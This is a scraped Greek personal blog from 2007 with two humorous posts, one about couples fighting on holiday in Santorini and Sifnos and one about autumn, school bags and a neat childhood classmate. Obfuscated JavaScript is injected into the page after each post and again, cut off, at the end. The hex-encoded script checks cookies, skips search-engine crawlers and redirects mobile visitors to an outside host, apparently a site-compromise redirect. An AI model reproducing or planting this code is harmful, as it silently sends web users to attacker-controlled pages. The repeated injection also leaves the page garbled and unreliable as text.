anwnymous

30 Ιουλίου, 2007

Zevgaria kavgadizoun?

Filed under: Uncategorized — thelastrealanwnymous @ 2 :09 μμ

Στις διακοπές όλα τα ζευγάρια καυγαδίζουν ;

Mερικές φορές σκοτώνονται.   Πήγα διακοπές . Έφυγα από τη Σαντορίνη σε δύο μέρες λόγω καυγά και κατέληξα για δύο βδομάδες στη Σίφνο. Καλά εγώ φταίω γιατί έκανα τη μαλακία να πάω με γυναίκα (μόνοι μας) γιατί ; γιατί όλοι οι φίλοι μου οι σκατιάρηδες έτρεξαν να δοκιμάσουν τη συνταγή -γάμος και καμιά φορά παρασύρομαι και εγώ από το πες, πες, πες και βλέπω κανένα κορίτσι σοβαρά.  Λοιπόν , δεν μπορείτε να φανταστείτε τι διαπίστωσα. Στις διακοπές όλα μα όλα τα ζευγάρια τσακώνονται. Εγώ είδα και άκουσα τουλάχιστον καμιά δεκαριά.  Μιλάμε για επιδημία. Εμείς μαλώσαμε όπως πάντα για μαλακίες. Και να σκεφτείτε ότι εγώ ήμουν έτοιμος για όλα ….δηλαδή η Νίνα δεν θα το μάθει ποτέ ότι είχα στην τσέπη μου ένα μονόπετρο που το δανείστηκα από φιλικό μαγαζί , ευτυχώς δεν το αγόρασα. Και φυσικά δεν ξέρει ότι έχω μπλογκ. Λοιπόν ,  ναι εντάξει , φταίω και ‘γω την έχω όλα το χειμώνα στο περίμενε , ίσως γι αυτό σκέφτηκα να της δώσω μία ευκαιρία ακόμα …  Αυτό που γίνεται όμως στα ζευγάρια είναι σαν «λοιμώδης υστερία» (δική μου ορολογία , σας άρεσε;) Βγήκα το πρώτο βράδυ στο μπαλκόνι μας και άκουσα τους διπλανούς να καυγαδίζουν.  Αυτός απαντούσε ψύχραιμα και στερεότυπα και εκείνη του έδινε γκάζια . «Γνωρίζεις τις απόψεις μου πάνω στο θέμα» έλεγε αυτός. Και εκείνη άλλαζε ταχύτητα και ούρλιαζε « δεν με καταλαβαίνεις καθόλου νομίζω , είναι σαν να είμαστε ξένοι, θα ετοιμάσω αυτή τη στιγμή τη βαλίτσα μου και θα φύγω …» « Νομίζω πως γίνεσαι κάπως υπερβολική …» έλεγε αυτός , εκείνη τη στιγμή η κυρία δεν άντεξε και κάτι του πέταξε που έσπασε με θόρυβο. Εδώ ξύπνησε η Νίνα και ήρθε και κάθισε δίπλα μου στη σεζλονγκ να παρακολουθήσουμε μαζί την παράσταση.  Την άλλη μέρα … Οι πρωταγωνιστές είμαστε εμείς .  Πήγαμε για φαγητό.  Όλη την ώρα στριφογύριζα το δαχτυλίδι κάτω από το τραπέζι ανάμεσα στα δάχτυλά μου. Δεν γούσταρα το βελούδινο κουτάκι. Θα  ΄θελα να της το περάσω κατευθείαν στο δάχτυλο. Φυσικά και είχα μετρήσει το νούμερο. Ξέρω τουλάχιστον από 5 κορίτσια τι νούμερο δαχτυλίδι φοράνε.  Η συζήτηση άρχισε περίπου έτσι.  Γιατί είσαι σκεφτικός ;  Όταν με απασχολούν σοβαρά θέματα σκέφτομαι πολύ πριν προχωρήσω. (εγώ νομίζω ότι της έδωσα στοιχεία για τις προθέσεις μου) . Το χειμώνα δεν μπορούσες να σκεφτείς σοβαρά ;  Το χειμώνα κρυώνω είπα ειρωνικά.  Το ξέρεις ότι βγήκαμε μόνο δύο φορές όλο το χειμώνα;  Εγώ ξέρω ότι είμαστε εδώ τώρα μαζί.  Δεν τσιμπάω με ρομαντικά δείπνα και επιπόλαιες ερωτικές «ατμόσφαιρες».  Δεν είμαι ρομαντικός , μου αρέσει το σεξ μαζί σου.  Και τι είμαι γω η πόρνη σου; Τι είμαι η πουτάνα σου ;  Τώρα τι θες να σε ρωτήσω αν είσαι το πουτανάκι μου; Να σε ρωτήσω με πάθος;  Μη με ειρωνεύεσαι. Απαιτώ να μη με ειρωνεύεσαι.  Σε πληροφορώ ότι έχω πολύ καλές προθέσεις για τη σχέση μας είπα και στριφογύρισα ξάνα το δαχτυλίδι κάτω από το τραπέζι.  Θα μείνεις με τις προθέσεις.  Σε λίγο θα έχω κουραστεί λέω.  Είχα ήδη φτάσει το κρασί στη μέση. Ευτυχώς το κρασί με κάνει νηφάλιο. Αποφασίζω χωρίς τύψεις και σφάζω με το γάντι. Αν και η Νίνα είχε ήδη αποκεφαλιστεί από μόνη της. Έβαλα το μονόπετρο στη τσέπη. Μη παίξεις τυχερό παιγνίδι αυτή τη βδομάδα σκέφτηκα. Τελικά γύρισα και βρήκα το ΧΑ να εκπέμπει ες οου ες. Αν και για μας δεν είναι τυχερό παιχνίδι.  Στη Σίφνο τα πράγματα ήταν πολύ καλύτερα. Μου άρεσε το «στενό». Ανακαλύψαμε και ένα ψαγμένο φαγάδικο «τα βατράχια» πολύ χύμα και πολύ κουλ. Οι φίλοι που με φιλοξένησαν είχαν ένα μικρό σκάφος. Γυρίσαμε πολύ , ήπιαμε περισσότερο, μαύρισα όσο καμία άλλη φορά. Γνώρισα μία πολύ σέξι , 28 όπως εγώ , έξυπνη, με χιούμορ , με αδυναμία στο ούζο. Όπως πάντα έκανα ότι δεν με νοιάζει. Μία μέρα , δύο , τρεις , υπήρχε ατμόσφαιρα αλλά δεν γινόταν τίποτε . τελικά ένα βράδυ βρεθήκαμε πολύ κοντά , και νομίζω με φίλησε πρώτη , μας έλειπαν και κάποια ρούχα , και δεν είχε και πολύ φως , και έλεγε κάτι πολύ γαργαλιστικά σουίτι και χάνι στη γλώσσα της. Ας πούμε ότι πέρασα καλά τουλάχιστον στη Σίφνο. Αααα να μη το ξεχάσω. Μια μέρα στη χώρα σε καυγά άλλου ζευγαριού , πάνω στην ψηλότερη κορυφή της χώρας ένα ζευγάρι κυπριακής καταγωγής καυγάδιζε και άκουσα τα εξής : «…εν θα με καταδικάσεις γιατί εν πιστέφκω στα θεία.» .Θεολογικές διαφωνίες στις διακοπές. Η γυναίκα ήταν η άπιστη… (όπως πάντα )J  J   Το κορίτσι γύρισε την επόμενη μέρα  Αυστραλία. Σκέφτηκα να κρύψω σε μια θήκη του σακβουαγιάζ της το μονόπετρο να το βρεί και να με τρελάνει στα μέιλ. J    Τελικά θα το επιστρέψω αύριο το απόγευμα. Έχετε 24 ώρες μέχρι τότε.  Όποια ψάχνει ελληνα, 178, 28, εξυπνο, σεξι και κυρίως αποφασισμένο ας στείλει μέιλ. akaras1979@yahoo.grJ   J   Jvar _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

8 Ιουλίου, 2007

Πρωτοβρόχια … :)

Filed under: Uncategorized — thelastrealanwnymous @ 9 :50 πμ

Μέσα στην αφόρητη ζέστη σκέφτηκα να ποστάρω ένα βροχερό φθινοπωρινό για να δροσιστείτε. J 

(Φθινόπωρο. Ένα γκρίζο σύννεφο σκεπάζει τη πόλη. Δύο τρεις σταγόνες βροχής κολλάνε στο παρμπρίζ του αυτοκινήτου μου. Πρωτοβρόχια σκέφτομαι. Μια ακόμα σχολική χρονιά αρχίζει.)

Δεν μπορώ να πω ότι είμαι φρικιό αλλά δε γουστάρω και καλούπια. Έχω το πιο ακατάστατο γραφείο στη δουλειά αλλά δεν χάνω ποτέ τη ψυχραιμία μου και τα καταφέρνω εκεί που οι άλλοι σηκώνουν τα χέρια. Ξυπνάω κάθε πρωί στις 6.30 και στις 8.00 είμαι στο γραφείο. Δύο τσιγάρα σπίτι, 4 στο αυτοκίνητο και μόνο 1 στο γραφείο με το καφέ.

Υπάρχει μια γκρίνια από τους άλλους στη δουλειά για το κάπνισμα. Ειδικά οι γυναίκες είναι ανένδοτες. Οπότε αναγκάζομαι να κάνω και κανένα τσιγάρο στο μπαλκόνι.

Εκείνο το πρωί μόλις έχω σβήσει το 3ο τσιγάρο βγαίνοντας από τη Κηφισίας και ανάβω το 4ο στη Βασ. Σοφίας. Ακριβώς εκείνη τη στιγμή κάποιος με κλείνει από αριστερά, κάνω λίγο πιο δεξιά να τον αποφύγω και τότε ένας “man in the black” – με γκρι σκούρο σύνολο – με δερμάτινο χαρτοφύλακα σαν μαύρη κλασσική σχολική τσάντα, με κατάμαυρα γυαλιά ηλίου, μιλάμε πάρα πολύ βιαστικός ο τύπος, κατεβαίνει στο οδόστρωμα για να περπατήσει πιο γρήγορα και τότε του δίνω μία με το προφυλακτήρα στη τσάντα του, που παραλίγο να του φύγει από το χέρι. Γυρίζει και με κοιτάζει έκπληκτος, αλλά βιάζεται τόσο πολύ που δεν σταματάει και – φανερά εκνευρισμένος- συνεχίζει ακόμα πιο βιαστικά, ανεβαίνοντας πάλι στο πεζοδρόμιο και κάποια στιγμή χάνεται ανάμεσα στο πλήθος.

Δεν έχω συνειδητοποιήσει τι έγινε γιατί αμέσως αντηχεί στα αυτιά μου μια ξεχασμένη φωνή « Μη κλωτσάς τη τσάντα μου Στάθη». « Τι θες ρε μπούλη; Μόνο εσύ και τα κορίτσια έχετε καθαρές τσάντες.» απαντούσα εγώ. Ήταν ο Νίκος, καλός μαθητής, πολύ διαβαστερός, (διαβαστερός είπα όχι αριστερός), τώρα είναι παράγοντας σε κάποιο αθλητικό σύλλογο. Καριέρα, εύκολα χρήματα, τον βλέπω και καμιά φορά να κάνει δηλώσεις στη τηλεόραση. Πάντα ψύχραιμος, αυστηρός με τον εαυτό του, ακριβής στις εκφράσεις του, κλασσική εικόνα επιτυχημένου.

Είχε τότε ο Νίκος μία μπλε- σκούρα τσάντα, δερμάτινη, με εκείνα τα χάλκινα μέταλλα στις γωνίες πεντακάθαρη και γυαλιστερή. Πάντα προσεκτικός, καθαρός και σιδερωμένος άφηνε τη τσάντα του στη ρίζα της ακακίας, προσεκτικά, να μη σκονιστεί. Όλοι αφήναμε τις τσάντες κάτω από την συγκεκριμένη ακακία για να πάμε για παιχνίδι. Εγώ σημάδευα από μακριά – σαν να ρίχνω σφύρα – και την έστελνα δίπλα στις άλλες. Πόσο είχε δεινοπαθήσει εκείνη η τσάντα μου, οι γωνίες της είχαν χάσει από καιρό τα μεταλλάκια τους και το χερούλι είχε πάει δύο φορές στο τσαγκάρη για να κολληθεί. Είχε αρχίσει να τρυπάει και συχνά έχανα τα μολύβια μου, ενώ το καπάκι της είχε κάνει «αυτιά» στις άκρες του και τα ζωνάκια που την έκλειναν ήταν έτοιμα να κοπούν.

Τύχαινε να περάσω από την ακακία και έβλεπα τη τσάντα του όρθια δίπλα στις δικές μας, έδινα μία κλωτσιά και την έριχνα κάτω. Αμέσως άκουγα : «Μη κλωτσάς τη τσάντα μου Στάθη». «Τι είπες ρε μαλακισμένο;» του φώναζα. «Στάθη είπες μία κακή λέξη, θα το πω στο κύριο». (Αυστηρό ιδιωτικό δημοτικό. ) «Τι είπα; Για πες μου σε παρακαλώ τι είπα;» (Ρωτούσα ευγενικά) «Δεν μπορώ να πω». «Ε τότε τι θα του πεις;» «Στάθη το κάνεις επίτηδες, για να με μπλέξεις με τα βρομόλογά σου »

Όλα τα τετράδιά του ήταν πεντακάθαρα και στη τσάντα του τα πάντα τακτοποιημένα. Εγώ είχα κάτι τετράδια με κάτι «αυτιά» στις γωνίες, κάτι βιβλία με σχέδια αφηρημένης ζωγραφικής στα εξώφυλλά τους, «έτρωγα» τα μολύβια μου και τα καπάκια από τα στυλό, λύγιζα τη σβύστρα μου και την έκοβα πάντα στη μέση, δοκίμαζα την «αλμυρή» γεύση που είχε το ξυραφάκι της ξύστρας, έπαιζα στο διάλειμμα μέχρι να ιδρώσω και σκόνιζα τα ρούχα μου τόσο που να μη φοριούνται ούτε το ίδιο απόγευμα.

Είχα ένα ενδόμυχο παιδικό μίσος για τις σχολικές τσάντες. Δεν μπορείτε να φανταστείτε τι ανακούφιση ένοιωσα όταν έγινε της μόδας στο γυμνάσιο, να κάνουμε τα βιβλία ένα δέμα χρησιμοποιώντας ένα ελαστικό ζωνάκι. Μεγάλη μαγκιά το «δέμα» εκείνη την εποχή.

Μετά στο Πανεπιστήμιο δεν θυμάμαι αν κρατούσα και στυλό στις παραδόσεις. Είχαμε τότε ένα συμφοιτητή που επέστρεψαν οι δικοί του από το εξωτερικό και παρακολουθούσε μαθήματα στη σχολή μας. Είχε ζήσει όλη τη μέχρι τότε ζωή του εκτός Ελλάδας και είχε μια άλλη νοοτροπία. Ερχόταν με το ποδήλατό του – για να κάνει λίγη αεροβίωση κάθε πρωί- είχε ειδική θήκη για τη τσάντα του, κουβαλούσε άπειρα στυλό, σε διάφορα χρώματα, είχε μαζί του και τα βιβλία της ημέρας και κρατούσε σημειώσεις και υπογράμμιζε με μαρκαδοράκια και κάποια μέρα ανακαλύψαμε ότι είχε και μία άλλη θήκη με εργαλεία, μήπως χρειαστεί κάτι για το «όχημα του» και τελικά δεν γλίτωσε το παρατσούκλι. Τον λέγαμε: ο Υδραυλικός, ένεκα των εργαλείων καθώς και των άλλων «τακτοποιημένων» μικροπραγμάτων της ζωής του.

Ήταν η εποχή που το ένα τρίτο των φοιτητών έφερνε στη σχολή – αντί για βιβλία – αφίσες και προκηρύξεις, γιατί πίστευε ότι θα μπορούσε να αλλάξει τον κόσμο. (τον τότε γνωστό κόσμο που λένε και στην ιστορία)

Παρασύρθηκα… Είχα λοιπόν ένα μίσος για τις τσάντες γιατί τις θεωρούσα κάτι σαν σφραγίδα υποταγής πάνω μας, κάτι σαν σχολικό εξάρτημα, σαν στολή στρατιωτική σαν… ΟΚ σταματάω εδώ.

Όταν οι Pink Floyd είπαν για πρώτη φορά τότε το The Wall, θα μπορούσαμε άνετα να γκρεμίσουμε… Λοιπόν (οι έντονες εικόνες με αποπροσανατολίζουν) το θέμα μας είναι οι σχολικές τσάντες και τα πρωτοβρόχια, το Φθινόπωρο που κατέφθασε και τα παιδιά θα αγοράσουν καινούριες τσάντες και νομίζω ότι αυτά τα χαριτωμένα σακίδια που βάζουν στη πλάτη,(καμιά σχέση με τα αυστηρά, σκουρόχρωμα, τετράγωνα, δερμάτινα «αξεσουάρ» της εποχής μας) αυτά τα πολύχρωμα κατασκευάσματα, που πολλές φορές τους τα κουβαλάνε μαμάδες και παππούδες, δίνουν την αίσθηση (τη ψευδαίσθηση) ότι πάνε στην εξοχή, ότι είναι κάτι σαν μικροί ορειβάτες. Κάπως έτσι το μάτι μου ξεγελάστηκε και έβλεπα με νοσταλγία – αναπολώντας σχολικές εκδρομές – αυτά τα πιτσιρίκια που πήγαιναν κάθε χρόνο στη πρώτη δημοτικού, στα νήπια (στα μεγάλα νήπια) έχοντας το σακίδιό τους στη πλάτη.

Όλα αυτά τα χρόνια, είχα ξεχάσει και το Νίκο και τη τσάντα του και το «Μη κλωτσάς τη τσάντα μου Στάθη» και ένοιωθα αυτή την ανεξήγητη απέχθεια για αυτούς που άρχισαν πάλι, στο όνομα μιας μόδας, μιας μεταγιάπις αντίληψης, να κυκλοφορούν με το λάπτοπ σε μία κλασσική δερμάτινη σχολική σάκα (θυμάστε που τη λέγαμε και σάκα τότε;), να φοράνε αυτά τα μπίζνες σκούρα κοστούμια που δεν τσαλακώνουν ποτέ και να πηγαίνουν με το πλέον χάι τεκ ύφος του κόσμου στο γκρίζο γραφείο τους.

Έχω φθάσει στο γραφείο τώρα, έχω κατεβάσει τη πρώτη γουλιά καφέ και τραβάω τη δεύτερη τζούρα από το τσιγάρο μου. Μπαίνει ο διευθυντής του τομέα μας, που είναι ένας τριαντάχρονος με γκρι κοστούμι και τη μαύρη σάκα του στο χέρι. Δεν καπνίζει, ανέχεται κι αυτός το μοναδικό μου πρωινό τσιγάρο στο χώρο του. Παρόλη τη σιωπηλή μας συμφωνία, μου ρίχνει και σήμερα – όπως και κάθε μέρα – ένα βλέμμα αηδίας στοχεύοντας το τσιγάρο μου. Έχει κάνει μάστερ στα οικονομικά με υποτροφίες και ειδικές διακρίσεις. Είναι επίσης πάρα πολύ καλός στη διοίκηση προσωπικού. Είναι αντικαπνιστής και σε γενικές γραμμές πολύ clean (ατσαλάκωτος) τύπος. Ίδιος ο Νίκος. Θα θελα τώρα πάρα πολύ, μα πάρα πολύ (το έχετε καταλάβει φαντάζομαι) να σηκωθώ και να του κλωτσήσω τη τσάντα…!!!

Να μη πω τώρα καλή σχολική χρονιά παιδάκια, να πω «γκόου εγουέι κουίκλι φρομ δις σίτι». J 

υγ. αφιερωμένο στα «μεγαλύτερα παιδιά» των μπλογκς και ειδικά σε όσους τελείωσαν πολτχνείο Θσλνκης το ’80 , στο περίπου. var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v 